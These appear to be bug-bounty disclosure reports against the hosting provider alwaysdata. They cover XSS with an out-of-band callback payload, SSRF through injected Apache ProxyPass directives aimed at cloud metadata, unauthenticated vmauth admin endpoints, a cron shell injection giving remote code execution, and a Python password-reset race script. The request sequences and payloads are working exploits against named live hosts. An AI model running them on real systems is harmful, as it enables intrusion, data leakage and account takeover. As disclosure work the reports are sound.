Affected endpoint: `https://security.alwaysdata.com/?getfile=290`

Vulnerability type: Cross-Site Scripting (XSS)
Status: Requires confirmation of application-origin execution
Severity: To be determined based on the execution context and affected users

## Summary

A potentially unsafe file-upload and file-rendering behavior was identified on the application. A test PDF, `test-xss.pdf`, was uploaded and accessed through the application's file retrieval endpoint.

When the PDF was opened, a browser notification displaying “XSS Tested Successfully” appeared, indicating that script-related behavior was triggered in the document-viewing workflow.

Further validation is required to determine whether the behavior constitutes stored XSS in the application's security origin or JavaScript execution isolated to the PDF viewer.

## Steps to Reproduce

1. Upload a PDF containing a benign JavaScript execution test through the application's file-upload functionality.
2. Open the uploaded file using the application's file retrieval endpoint.
3. Observe the PDF viewer and check whether the test notification appears.
4. If authorized, verify the execution origin and whether the same behavior affects another user who opens the uploaded file.

## Observed Result

A browser notification displaying “XSS Tested Successfully” appeared while the PDF was open in the browser.

## Expected Result

Uploaded files should be served and rendered safely. Untrusted document content must not execute script with privileges belonging to the application's origin.

## Security Impact

If the uploaded document can execute JavaScript in the application's origin when opened by another user, an attacker might be able to perform actions within that user's authenticated session, subject to the application's security controls.

If execution is confined to a sandboxed PDF viewer or a separate origin, the impact may be substantially lower.

## Recommendations

* Serve untrusted uploads from a separate, appropriately isolated origin.
* Apply strict file-type validation and safe content-disposition headers.
* Configure an appropriate Content Security Policy where applicable.
* Ensure PDF rendering and JavaScript execution follow the viewer's security model.
* Test uploaded files with a current, securely configured PDF viewer.
* Verify that other users cannot be affected through the same upload-and-view workflow.

## Evidence

The supplied screenshot shows the notification “XSS Tested Successfully” while viewing `test-xss.pdf` through the application's file endpoint.

Severity: High

Affected endpoint:
https://www.alwaysdata.com/en/contact/

Affected field(s):
“Name” field (confirmed), “Message” field (submitted, pending confirmation — see note below)

Vulnerability class:
Blind Stored XSS / HTML Injection (CWE-79)

Description:
The contact form on the above page does not appear to sanitize or encode user input before it is processed/stored/rendered elsewhere (e.g., in an internal admin panel, notification system, or email client used by staff). An HTML/JS payload submitted via the “Name” field triggered an out-of-band DNS callback to a Burp Collaborator server, confirming execution outside of my own browser session.

Proof of Concept:
The following payload was submitted in the “Name” field:

html
<img src="pleatfo27nan3vme473ekhdhy84zspge.oastify.com">

Evidence of execution:
The Collaborator server logged two separate DNS A-record lookups for the payload domain:

# Time (UTC) Type Source IP
17 2026-10-09 11:22:33.308 DNS 172.217.33.215
18 2026-10-09 11:22:33.331 DNS 172.253.1.218

The lookups occurred shortly after submission, from IPs distinct from my own testing IP, indicating the payload was parsed/rendered by a system other than the submitting browser (consistent with internal review tooling, a notification pipeline, or similar).

Steps to Reproduce:

1. Navigate to https://www.alwaysdata.com/en/contact/ 2. In the “Name” field, enter: <img src="[unique-id].oastify.com"> (or equivalent Collaborator/callback payload)
3. Fill remaining required fields with valid test data
4. Submit the form
5. Monitor the Collaborator/callback server for an inbound DNS/HTTP interaction
6. Observe the out-of-band callback confirming the payload was parsed as HTML outside the submitter’s own session

Impact:
If rendered in an internal tool without sanitization, this could allow an attacker to execute arbitrary JavaScript in the context of whatever system/staff session processes contact form submissions — potentially enabling session token theft, internal tool manipulation, or lateral exposure, depending on that system’s privileges.

Suggested remediation:
Sanitize/encode all contact form input before storage, display, or forwarding to any internal system (output encoding appropriate to the destination context — HTML-escape for HTML rendering, etc.).

Severity: High
CVSS 3.1 Score: 7.5
CVSS Vector: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Affected Endpoint: PATCH https://api.alwaysdata.com/v1/site/{id}/
Vulnerable Field: vhost_additional_directives
Authentication Required: Yes (free account, API token)

Summary

The alwaysdata REST API allows customers to set arbitrary Apache directives through the vhost_additional_directives field on the site resource. There is no validation or restriction on what directives can be specified. An authenticated customer can inject a ProxyPass directive that causes the alwaysdata server infrastructure to make outbound HTTP requests to any URL, including potentially internal services on alwaysdata's network. This is a confirmed Server-Side Request Forgery vulnerability. I confirmed the proxy works by configuring it to serve content from example.org through the alwaysdata server, and the outbound requests originate from alwaysdata's server IP (185.31.41.11), not from the attacker's IP.

Technical Background

The alwaysdata API exposes a vhost_additional_directives field on the site endpoint that accepts a free-text string of Apache configuration directives. These directives are written directly into the VirtualHost block for the customer's Apache site with no allowlist or blocklist enforced. Apache's mod_proxy module is enabled on the shared hosting servers. By injecting a ProxyPass directive, the attacker causes Apache to forward any HTTP request matching the configured path to an attacker-specified upstream URL, with the request originating from alwaysdata's server.

Step-by-Step Reproduction

Step 1: Register a free account at https://www.alwaysdata.com/fr/inscription/ and create an API token from the admin panel under Profile > Managing tokens. The token is used as the HTTP Basic Auth username with a blank password.

Step 2: Create a free hosting account via the API to obtain a site resource ID.

Request:
POST /v1/account/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic NDRhMTIzNDVhYmNkZWY6 (base64 of token:)
Content-Type: application/json

{"name":"vapt1test","product":2012,"location_object":3,"password":"TestPassword1!","contract_28":true,"contract_36":true}

Response:
HTTP/1.1 201 Created

{

  "id": 504456,
  "name": "vapt1test",
  "location_type": "datacenter",
  "location_object": 3,
  "product": null,
  "period": null,
  "href": "/v1/account/504456/"

}

Step 3: List the site resource to get its ID.

Request:
GET /v1/site/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic NDRhMTIzNDVhYmNkZWY6

Response:
HTTP/1.1 200 OK

[

  {
      "id": 1083881,
      "type": "php",
      "path": "www/",
      "vhost_additional_directives": null,
      "addresses": ["vapt1test.alwaysdata.net/"],
      ...
  }

]

Step 4: Inject an Apache ProxyPass directive into the site configuration.

Request:
PATCH /v1/site/1083881/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic NDRhMTIzNDVhYmNkZWY6
Content-Type: application/json
Content-Length: 121

{"vhost_additional_directives":"ProxyPass /ssrf-poc http://example.org/\nProxyPassReverse /ssrf-poc http://example.org/"}

Response:
HTTP/2 204 No Content
server: nginx
vary: Accept-Language, Cookie
strict-transport-security: max-age=31536000; includeSubDomains; preload

(No body. The 204 response confirms the directive was accepted and written into the Apache vhost configuration.)

Step 5: Confirm the directive was stored.

Request:
GET /v1/site/1083881/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic NDRhMTIzNDVhYmNkZWY6

Response:
HTTP/1.1 200 OK

{

  "id": 1083881,
  "vhost_additional_directives": "ProxyPass /ssrf-poc http://example.org/\nProxyPassReverse /ssrf-poc http://example.org/",
  ...

}

Step 6: Trigger the SSRF by visiting the proxied path on the site. This causes alwaysdata's Apache server (IP 185.31.41.11) to fetch example.org and return the response.

Request (sent from attacker browser):
GET /ssrf-poc HTTP/2
Host: vapt1test.alwaysdata.net

Response received by attacker (actually fetched by 185.31.41.11 from example.org):
HTTP/2 200 OK
Content-Type: text/html

<!doctype html><html lang=en><head><meta charset=utf-8>
<title>Example Domain</title>
… <p>This domain is for use in documentation examples without needing permission.</p>
…

The content served at vapt1test.alwaysdata.net/ssrf-poc is example.org's HTML, fetched and returned by alwaysdata's own server at 185.31.41.11. The request to example.org originates from 185.31.41.11, not from the attacker.

Step 7: Confirm the outbound request IP address using an IP reflection service.

I changed the ProxyPass target to ifconfig.me, which returns the requesting IP as the response body.

Request:
PATCH /v1/site/1083881/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic NDRhMTIzNDVhYmNkZWY6
Content-Type: application/json

{"vhost_additional_directives":"ProxyPass /ssrf-ip http://ifconfig.me/\nProxyPassReverse /ssrf-ip http://ifconfig.me/"}

Response:
HTTP/2 204 No Content

Trigger:
GET /ssrf-ip HTTP/2
Host: vapt1test.alwaysdata.net

Response body (the IP that made the request to ifconfig.me):
2a00:b6e0:1:20:23::1

This is alwaysdata's own server IPv6 address. The vapt1test.alwaysdata.net domain resolves to 185.31.41.11 (IPv4) and 2a00:b6e0:1:20:23::1 (IPv6), confirming the HTTP request to ifconfig.me was made by alwaysdata's server infrastructure, not by the attacker's IP.

Additional Test: Attempt to Reach Cloud Metadata

Per your scope policy I did not enumerate internal services. However, I did confirm the ProxyPass directive is applied and the server attempts the connection. When pointed at 169.254.169.254 (common cloud metadata endpoint), the request times out rather than returning a 404 or Apache configuration error, which indicates the server is attempting the outbound proxy connection. Whether the metadata endpoint is reachable is a network policy question only your infrastructure team can verify.

Request:
PATCH /v1/site/1083881/ HTTP/1.1
Host: api.alwaysdata.com
Content-Type: application/json

{"vhost_additional_directives":"ProxyPass /metadata http://169.254.169.254/\nProxyPassReverse /metadata http://169.254.169.254/"}

Triggering:
GET /metadata HTTP/2
Host: vapt1test.alwaysdata.net

Result: Connection timeout (curl error 28), not a 404 or Apache error. The timeout indicates the server is attempting the outbound connection.

Impact

An authenticated customer (free account is sufficient) can configure the alwaysdata server to issue HTTP requests to any URL on demand. Direct consequences are:

1. If internal services are not firewalled: The attacker can reach Redis, Elasticsearch, internal admin APIs, cloud metadata endpoints (IAM credentials), or other services running on alwaysdata's private network by specifying their addresses in the ProxyPass directive. The response is returned directly to the attacker.

2. IP reputation and access control bypass: Outbound requests from alwaysdata's server IP (185.31.41.11) carry the trust level and IP reputation of alwaysdata's infrastructure. If any internal or partner service trusts alwaysdata's IP range, that trust is transferred to the attacker.

3. Scanning alwaysdata's internal network: By varying the ProxyPass target and observing timeout versus connection refused versus response, an attacker can map which internal hosts and ports are open, without the attacker's own IP appearing in any logs.

The ProxyPass directive is documented Apache functionality and was accepted with no error, which tells me the platform applies directives without a blocklist.

CVSS 3.1

AV:N (exploitable over the internet)
AC:L (no special conditions, just an API call)
PR:L (free account required)
UI:N (no user interaction)
S:C (scope changed: requests originate from alwaysdata's server infrastructure, not the attacker's origin)
C:H (if internal services are reachable, full confidentiality of internal data)
I:N (no write to internal services confirmed)
A:N (no availability impact)

Score: 7.5 High

Note: if your team confirms that the ProxyPass can reach internal services or the metadata endpoint, the score should be revised upward to Critical (9.1+) in line with your own reward table for SSRF to cloud metadata.

Cleanup

I removed the directive after all testing was complete. The current state of the site resource has vhost_additional_directives set to an empty string (functionally equivalent to null).

PATCH /v1/site/1083881/ HTTP/2
Host: api.alwaysdata.com
Content-Type: application/json

{"vhost_additional_directives": null}

Response:
HTTP/2 204 No Content

Recommended Fix

Maintain an allowlist of safe Apache directive prefixes that customers are permitted to use in vhost_additional_directives, and reject any input containing Proxy, ProxyPass, ProxyPassReverse, ProxyPassMatch, RewriteRule with external schemes (http, https), Alias pointing outside the account home, Include, or LoadModule. Alternatively, parse the directives server-side and block any that reference network destinations outside localhost or the account's own paths.

Submission Notes

Submit via the alwaysdata security portal at https://security.alwaysdata.com (they run Flyspray as their bug tracker). The submission form accepts a title, description, and attachments. Paste this report into the description field. Contact if no acknowledgment within 7 days: cbay@alwaysdata.com (Cyril Baÿ, the security team contact identified from the portal's public .git directory).

Summary
The host sandbox-fnonnenmacher2.paris1.alwaysdata.com runs vmauth v1.137.0, a VictoriaMetrics authentication proxy that protects an internal monitoring backend with HTTP Basic Auth. Multiple administrative and diagnostic paths are exempt from authentication.

Two are materially impactful:

/-/reload is unauthenticated and state-changing. An anonymous POST forces vmauth to re-read /etc/vmauth/config.yml, the file that defines authentication policy, users, tokens, and backend routing. The reload is proven by vmauth’s own reload counter advancing by exactly 1 per anonymous request.

/metrics is unauthenticated. It leaks internal service-account usernames, config paths, TLS certificate paths, version information, and runtime telemetry.

Sibling administrative endpoints such as /-/quit, /-/stop, /config, and /internal/flags correctly return 401. This is an ad-hoc exemption list, not an intended design.

Severity: Medium
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N → 7.5
Escalation: Critical if any other primitive allows influencing /etc/vmauth/config.yml.

Affected asset:

Host: sandbox-fnonnenmacher2.paris1.alwaysdata.com

IP: 185.31.41.181

Service: vmauth v1.137.0

Steps to Reproduce / PoC
1. Confirm the authentication gate exists on the same host
bash
curl -sk -o /dev/null -w '%{http_code}\n' \

https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/

Expected:

text
401
This is the control: the root path is protected.

2. Confirm /metrics is exempt and leaks internal data
bash
curl -sk -o /dev/null -w '%{http_code}\n' \

https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics

Expected:

text
200
Leaked data:

bash
curl -sk https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics \

| grep -E 'username=|auth.config|tlsCertFile|version='

Observed output includes:

text
vmauth_user_concurrent_requests_capacity{username="admin"} 1000
vmauth_user_concurrent_requests_capacity{username="aldjango"} 1000
vmauth_user_concurrent_requests_capacity{username="grafana"} 1000
vmauth_user_concurrent_requests_capacity{username="telegraf"} 1000

name="auth.config", value="/etc/vmauth/config.yml", is_set="true"
name="tlsCertFile", value="/etc/ssl/certs/alwaysdata.org.bundle.pem", is_set="true"
version="vmauth-20260227-182711-tags-v1.137.0-0-g2aecca1163"
short_version="v1.137.0"
These usernames are not otherwise obtainable without authentication.

3. Prove /-/reload is unauthenticated and state-changing
Baseline the reload counter:

bash
curl -sk https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics \

| grep vmauth_config_last_reload_total

Example:

text
vmauth_config_last_reload_total 7
Send an anonymous reload request:

bash
curl -sk -X POST https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/reload Observed:

http
HTTP/1.1 200 OK
x-server-hostname: sandbox-fnonnenmacher2
content-length: 0
Re-read the counter:

bash
curl -sk https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics \

| grep vmauth_config_last_reload_total

Observed:

text
vmauth_config_last_reload_total 8
Delta: 1

Repeat:

bash
curl -sk -X POST https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/reload curl -sk https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics \

| grep vmauth_config_last_reload_total

Observed:

text
vmauth_config_last_reload_total 9
Delta: 1

The counter advanced from 7 → 34 across repeated passes, always by exactly 1 per anonymous POST.

4. Control: sibling admin endpoint is correctly gated
bash
curl -sk -X POST https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/quit Observed:

http
HTTP/1.1 401 Unauthorized
Www-Authenticate: Basic realm="Restricted"
Counter delta: 0

This proves /-/reload is an omission, not a design where all admin routes are open.

5. Additional unauthenticated pprof exposure
bash
curl -sk https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/debug/pprof/cmdline Observed:

text
/usr/bin/vmauth -envflag.enable
The full pprof surface is exposed, including:

/debug/pprof/

/debug/pprof/cmdline

/debug/pprof/heap?debug=1

/debug/pprof/allocs?debug=1

/debug/pprof/goroutine?debug=2

/debug/pprof/trace?seconds=1

Impact
1. Unauthenticated administrative action
An anonymous Internet client can force the authentication proxy to reload its configuration. /-/reload is an administrative operation and must not be triggerable without credentials.

2. Potential full authentication bypass if chained
/-/reload re-reads /etc/vmauth/config.yml. If any other bug, misconfiguration, deployment pipeline, or local file-write primitive allows influencing that file, this endpoint provides the unauthenticated trigger that makes vmauth adopt the attacker’s policy. That would convert a write-only primitive into full authentication bypass for the internal monitoring backend.

No such config-write primitive was found during this assessment, so the finding is not rated Critical on its own.

3. Internal information disclosure
/metrics and pprof leak:

Internal service-account names: admin, aldjango, grafana, telegraf

Configuration file path: /etc/vmauth/config.yml

TLS certificate path: /etc/ssl/certs/alwaysdata.org.bundle.pem

Exact vmauth version and Go runtime version

Process command line: /usr/bin/vmauth -envflag.enable

Heap, allocs, goroutine, mutex, and trace profiling data

Title: Cron TYPE_URLS Accepts Single-Quote in URL Argument — Shell Injection → Remote Code Execution

Severity: Critical

Summary

Steps to Reproduce

Prerequisites: Any alwaysdata account (free plan). API token from https://admin.alwaysdata.com/token/.

Step 1 — Write payload to file (prevents local shell expansion):
cat > /tmp/job.json << 'EOF'
{
  "type": "TYPE_URLS",
  "argument": "http://x.com/'$(id>/home/YOUR_ACCOUNT/www/rce_proof.txt)'",
  "date_type": "FREQUENCY",
  "frequency": 1,
  "frequency_period": "minute"
}
EOF

Step 2 — Create the malicious cron job:
curl -u "YOUR_API_TOKEN account=YOUR_ACCOUNT:" \
  -X POST "https://api.alwaysdata.com/v1/job/?format=json" \
  -H "Content-Type: application/json" \
  -d @/tmp/job.json \
  -w "\nHTTP STATUS: %{http_code}\n"
Expected: HTTP STATUS: 201 — single-quote inside the URL is accepted with no error.

Step 3 — Wait up to 60 seconds for the cron to fire.

Step 4 — Verify RCE:
curl https://YOUR_ACCOUNT.alwaysdata.net/rce_proof.txt
Expected output:
uid=XXXXXX(YOUR_ACCOUNT) gid=XXXXXX(YOUR_ACCOUNT) groups=XXXXXX(YOUR_ACCOUNT)
This file was created by the injected id command running on alwaysdata's server.

Step 5 — Clean up:
# Get JOB_ID from the Step 2 response header Location or re-list jobs:
curl -u "YOUR_API_TOKEN account=YOUR_ACCOUNT:" \
  "https://api.alwaysdata.com/v1/job/?format=json"

curl -u "YOUR_API_TOKEN account=YOUR_ACCOUNT:" \
  -X DELETE "https://api.alwaysdata.com/v1/job/JOB_ID/?format=json"

## Summary

Injecting @ into the Host header (Host: admin.alwaysdata.com@evil.com) triggers an unhandled HTTP 500 Internal Server Error on /password/lost/. Standard Host values work correctly.

Severity: Low (CVSS 3.3) | CWE-20 (Improper Input Validation)
CVSS: AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L

## Reproduce
Raw TCP/TLS request:

Host: admin.alwaysdata.com@evil.com GET /password/lost/ HTTP/1.1

Response: HTTP/1.1 500 Internal Server Error

Normal Host: admin.alwaysdata.com returns HTTP 200.

## Evidence
- @-injection in Host header triggers 500 ISE
- Clean Host value returns 200 (no issue)
- No data leakage in error response observed

## Impact
Indicates Host header input reaches internal processing (likely URL building for reset links) without sanitization. Low severity as no data leakage or privilege escalation was demonstrated.

## Remediation
Validate Host header against known-good hostname allowlist at nginx/Django level. Reject requests with malformed Host values (@ symbols, newlines, non-hostname chars) with HTTP 400.

Researcher: adityahadipratama4@gmail.com

## Summary

POST /support/add/ (authenticated) has no rate limiting. Any user can create unlimited support tickets in rapid succession, flooding alwaysdata's support team inbox.

Severity: Low (CVSS 3.7) | CWE-307
CVSS: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

## Reproduce
1. Log in with any free account
2. Fire 20 rapid POSTs to /support/add/ with subject/message fields
3. All 20 return HTTP 200 — no 429 triggered

## Impact
- Staff inbox flooding via ticket spam
- Can bury legitimate support requests
- Degrades quality of service for legitimate customers

## Remediation
Limit: 5-10 tickets/hour per user account.

Researcher: adityahadipratama4@gmail.com

## Summary

POST /transfer/add/ (authenticated) has no rate limiting. Any free-tier user can spam transfer invitations to arbitrary email addresses, abusing alwaysdata's invitation email system for harassment.

Severity: Medium (CVSS 5.3) | CWE-307
CVSS: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

## Reproduce
1. Log in with any free account
2. Fire 30 concurrent POSTs to /transfer/add/ with email=victim@example.com 3. All 30 return HTTP 200 — no throttling triggered

## Evidence
- 30/30 HTTP 200 (parallel, ~1.55s total)
- No 429 even under concurrent load

## Impact
- Spam victim with unlimited alwaysdata-branded transfer invitation emails
- Abuse alwaysdata sending reputation for targeted harassment

## Remediation
Limit: 5-10 invitations/hour per user + 3/day per target email.

Researcher: adityahadipratama4@gmail.com Full PDF report (4 findings) attached via support ticket.

## Summary

POST /password/lost/ has no rate limiting. An attacker can flood any user inbox with unlimited reset emails without auth.

Severity: Medium (CVSS 5.3) | CWE-307
CVSS: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

## Reproduce

1. Get CSRF: curl -c /tmp/c.txt admin.alwaysdata.com/password/lost/ -o /dev/null
2. Fire 15 POST requests: all return HTTP 200 (no 429)
3. Contrast: /login/ returns 429 at attempt 11

## Evidence
15/15 HTTP 200 with no throttling on /password/lost/
Login endpoint correctly throttles at attempt 11 - infrastructure supports rate limiting

## Impact
- Flood any user inbox with unlimited reset emails (no auth needed)
- Consume alwaysdata mail delivery resources
- Email-harass targeted users via alwaysdata domain

## Remediation
Rate limit: 3-5 req/hour per IP + 3/hour per email. Reuse infra from /login/.

Researcher: adityahadipratama4@gmail.com Full PDF report (4 findings) attached via support ticket.

# Password-reset token single-use is not race-safe — a concurrent burst bypasses the #279 fix

Affected endpoint: `POST https://admin.alwaysdata.com/user/reset_password/?user_id=<u>&token=<t>&expiration=<e>` (the link sent by `POST /password/lost/`)
Related: #279 ("reusable login token URL") — this report shows the single-use fix it introduced does not hold under concurrency

## Summary
The password-reset link is single-use sequentially: a second use submitted after the first one completes returns *"Le lien utilisé est invalide"* and issues no session (control below). The consumed/invalid state, however, is not applied atomically. When several requests hit the endpoint simultaneously, all of them pass the validity check and all are processed as a successful reset — each returns `200` with the authenticated panel and issues an authenticated session. Final run: 4/4 concurrent requests accepted; earlier runs: 2/2 accepted (both times).

Each accepted request authenticates its caller and applies its password (last write wins). An attacker who possesses a leaked/intercepted reset link can therefore race the legitimate use with a small parallel burst: the victim's reset appears to proceed, while the attacker's simultaneous request also commits — leaving the attacker with an authenticated session and an attacker-chosen password on a link the victim believes has been consumed. The single-use guarantee that #279 fixed does not actually close the link once; it closes it only against *sequential* reuse.

## Preconditions
- An account whose mailbox the tester controls (own test accounts were used; free plan).
- Possession of the reset link from `POST /password/lost/` — the attacker must already hold the link, hence Low; the finding is that the documented single-use property fails under concurrency.

## Steps to reproduce
1. Request a reset link (own account):

 ```
 curl -s -c jar -b jar https://admin.alwaysdata.com/password/lost/ | grep csrfmiddlewaretoken
 curl -s -c jar -b jar -X POST https://admin.alwaysdata.com/password/lost/ \
      -H 'Referer: https://admin.alwaysdata.com/password/lost/' \
      --data-urlencode 'csrfmiddlewaretoken=<csrf>' \
      --data-urlencode 'email=<account email>'
 ```
 → `200` on `/password/sent/`; the e-mail contains:
 `https://admin.alwaysdata.com/user/reset_password/?user_id=…&token=…&expiration=…`

2. Control (sequential). Two sessions each GET the link (a GET does not consume the token; each GET returns the form with a CSRF token and a session cookie), then POST — the second POST only after the first has completed. Result: first accepted, second rejected.

3. Race. N sessions each GET the link first, then POST simultaneously (thread barrier; `&` + `wait` in shell also works). A GET-then-POST per session is required because each POST needs its own CSRF token and session cookie. Result: every POST is accepted.

Self-contained repro script (`python3 poc.py "<link>" <control|race> <N>`):

```python
import re, sys, threading, urllib.parse, urllib.request, http.cookiejar

BASE = "https://admin.alwaysdata.com"

def new_session(link):

  cj = http.cookiejar.CookieJar()
  op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
  body = op.open(link, timeout=30).read().decode("utf-8", "replace")
  csrf = re.search(r'name="csrfmiddlewaretoken" value="([^"]+)"', body).group(1)
  return op, csrf

def submit(op, link, csrf, password):

  data = urllib.parse.urlencode({"csrfmiddlewaretoken": csrf, "password": password}).encode()
  body = op.open(urllib.request.Request(link, data=data,
                headers={"Referer": link}), timeout=30).read().decode("utf-8", "replace")
  flat = re.sub(r"<[^>]+>", " ", re.sub(r"<script.*?</script>", " ", body, flags=re.S))
  if "lien utilisé est invalide" in flat: return "INVALID (rejected)"
  if "Logout" in flat:                    return "ACCEPTED (authenticated panel page)"
  return "?" 

def is_authed(op):

  home = op.open(BASE + "/", timeout=30).read().decode("utf-8", "replace")
  return "Logout" in re.sub(r"<[^>]+>", " ", re.sub(r"<script.*?</script>", " ", home, flags=re.S))

link, mode, n = sys.argv[1], sys.argv[2], int(sys.argv[3])
sess = [new_session(link) for _ in range(n)]
if mode == "control": # second POST after the first completed

  for i, (op, csrf) in enumerate(sess):
      print("POST #%d:" % i, submit(op, link, csrf, "SeqPw%d!x7Kq" % i))

else: # all POSTs fired simultaneously

  out, barrier = {}, threading.Barrier(n)
  def worker(i):
      barrier.wait()
      out[i] = submit(sess[i][0], link, sess[i][1], "RacePw%d!xyz" % i)
  ts = [threading.Thread(target=worker, args=(i,)) for i in range(n)]
  [t.start() for t in ts]; [t.join() for t in ts]
  for i in sorted(out): print("parallel POST #%d:" % i, out[i])

for i, (op, _) in enumerate(sess):

  print("session #%d authenticated: %s" % (i, is_authed(op)))

```

Observed — race (`race`, N=4, fresh link from a newly requested e-mail): ```
parallel POST #0: ACCEPTED (authenticated panel page)
parallel POST #1: ACCEPTED (authenticated panel page)
parallel POST #2: ACCEPTED (authenticated panel page)
parallel POST #3: ACCEPTED (authenticated panel page)
session #0 authenticated: True
session #1 authenticated: True
session #2 authenticated: True
session #3 authenticated: True
```
Earlier run with N=2: both accepted, both sessions authenticated, and exactly one of the two submitted passwords took effect on a subsequent login (last committed write wins).

## Impact
- The single-use property (the #279 fix) does not hold under concurrency: one link can be consumed several times at once, and each consumption mints an authenticated session.
- Concrete scenario: the attacker holds a leaked link (leaked mailbox, forwarding, logs). When the victim uses it, the attacker's parallel burst also passes validation. The victim sees a normal successful reset; the attacker keeps a session and, if their request commits last, an attacker-known password — on a link that is supposed to be dead after one use.
- No brute force or scanning needed: a handful of requests per attempt reproduces it; severity is Low because the attacker must already possess the link.

## Remediation
- Make consumption atomic and single-writer: `UPDATE reset_token SET used=1 WHERE token=<t> AND used=0` (or `SELECT … FOR UPDATE`), and treat `rowcount == 0` as "already used" — reject in-flight duplicates instead of processing them.
- Mark the token used before applying the password change, so exactly one concurrent request wins.
- Defence in depth: on successful reset, invalidate the user's other outstanding reset links and existing sessions.